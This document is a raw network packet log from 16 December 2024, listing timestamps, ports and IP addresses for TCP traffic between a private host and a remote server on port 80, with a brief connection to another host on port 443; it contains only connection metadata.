Dec 16, 2024 13:16:51.595025063 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.595060110 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.597032070 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.597069025 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.597263098 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.597299099 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.597369909 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.597400904 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.604820013 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.604866028 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.604872942 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.604911089 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.612438917 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.612493038 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.659037113 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.659092903 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.659147978 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.659220934 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.662678003 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.662715912 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.662719965 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.662750959 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.669356108 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.669403076 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.671844959 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.671891928 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.671999931 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.672034979 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.678667068 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.678719997 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.678800106 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.678848028 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.685487986 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.685537100 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.685604095 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.685643911 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.692126989 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.692178011 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.692274094 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.692321062 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.698338032 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.698369026 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.698394060 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.698419094 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.704354048 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.704394102 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.704567909 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.704605103 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.710347891 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.710388899 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.710540056 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.710576057 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.716017962 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.716063023 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.716100931 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.716135979 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.725645065 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.725699902 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.725816011 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.725852966 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.727189064 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.727226973 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.727263927 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.727308035 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.730653048 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.730693102 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.731892109 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.731930971 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.732001066 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.732034922 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.735330105 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.735373020 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.735394955 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.735431910 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.738775969 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.738815069 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.738878965 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.738910913 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.742222071 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.742261887 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.742291927 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.742325068 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.745639086 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.745682001 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.745753050 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.745788097 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.749361992 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.749413967 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.749551058 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.749587059 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.752595901 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.752635956 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.752696037 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.752731085 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.756001949 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.756042957 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.756093979 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.756125927 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.759429932 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.759476900 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.759509087 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.759541988 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.762871981 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.762912989 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.762957096 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.762989998 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.789319038 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.789366961 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.789380074 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.789423943 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.791024923 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.791065931 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.791668892 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.791711092 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.791760921 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.791795015 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.795080900 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.795111895 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.795120955 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.795149088 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.798532009 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.798568964 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.851423025 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.851471901 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.851471901 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.851509094 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.852714062 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.852751017 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.852811098 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.852845907 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.855952978 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.855993986 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.857160091 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.857198000 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.857234001 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.857269049 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.860387087 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.860428095 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.860498905 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.860533953 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.863385916 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.863432884 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.863481045 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.863522053 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.866396904 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.866436958 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.866513968 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.866573095 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.869179964 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.869221926 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.869369984 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.869406939 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.871889114 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.871932030 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.871994019 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.872030973 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.874453068 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.874492884 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.874552011 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.874586105 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.877043962 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.877089977 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.877170086 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.877204895 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.879565001 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.879607916 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.879677057 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.879714966 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.882013083 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.882067919 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.882142067 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.882186890 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.884407043 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.884449005 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.884515047 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.884548903 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.886770964 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.886810064 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.886872053 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.886912107 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.889154911 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.889193058 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.889254093 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.889286041 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.891383886 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.891439915 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.891496897 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.891537905 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.893697977 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.893738031 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.893814087 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.893846035 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.896157026 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.896203995 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.896321058 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.896356106 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.898221016 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.898277044 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.917500019 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.917551994 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.917594910 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.917640924 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.918390989 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.918436050 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.918436050 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.918468952 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.919864893 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.919909954 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.919981956 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.920043945 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.921714067 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.921761036 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.921811104 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.921854019 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.923499107 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.923557043 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.923590899 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.923628092 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.925322056 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.925367117 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.925424099 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.925462008 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.927177906 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.927222967 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.927258015 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.927297115 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.929007053 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.929128885 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.929145098 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.929184914 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.930870056 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.930907965 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.931056976 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.931090117 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.932697058 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.932740927 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.932872057 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.932912111 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.934549093 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.934587955 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.934704065 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.934741020 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.936371088 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.936429024 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.936542034 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.936577082 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.938191891 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.938231945 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.938311100 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.938344002 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.940000057 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.940040112 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.940113068 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.940146923 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.941843033 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.941901922 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.941960096 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.941997051 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.943694115 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.943732977 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.943794012 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.943826914 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.945518970 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.945570946 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.945616961 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.945653915 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.947345018 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.947384119 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.947443008 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.947477102 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.949244976 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.949280977 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.949388027 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.949423075 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.951069117 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.951119900 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.951165915 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.951203108 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.951390982 CET	49815	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:51.951445103 CET	443	49815	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:51.951517105 CET	49815	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:51.951822042 CET	49815	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:51.951836109 CET	443	49815	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:51.952831984 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.952877998 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.970748901 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.970875978 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.970902920 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.970977068 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.971560001 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.971662045 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.971879005 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.971951962 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.971971989 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.972039938 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.973597050 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.973716974 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.973787069 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.973929882 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.973942041 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.974046946 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.975635052 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.975791931 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.975820065 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.975949049 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.976947069 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.977006912 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.977066994 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.977117062 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.978873968 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.978965998 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.978987932 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.979091883 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.980602026 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.980760098 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.981312990 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.981333971 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.981364012 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.981404066 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.983073950 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.983114004 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.983129025 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.983211040 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.984910011 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.985011101 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.985184908 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.986768007 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.986855984 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.986879110 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.987024069 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.988869905 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.988889933 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.988943100 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.988943100 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.043199062 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.043236971 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.043258905 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.043342113 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.044106007 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.044198990 CET	80	49795	185.215.113.206	192.168.2.8
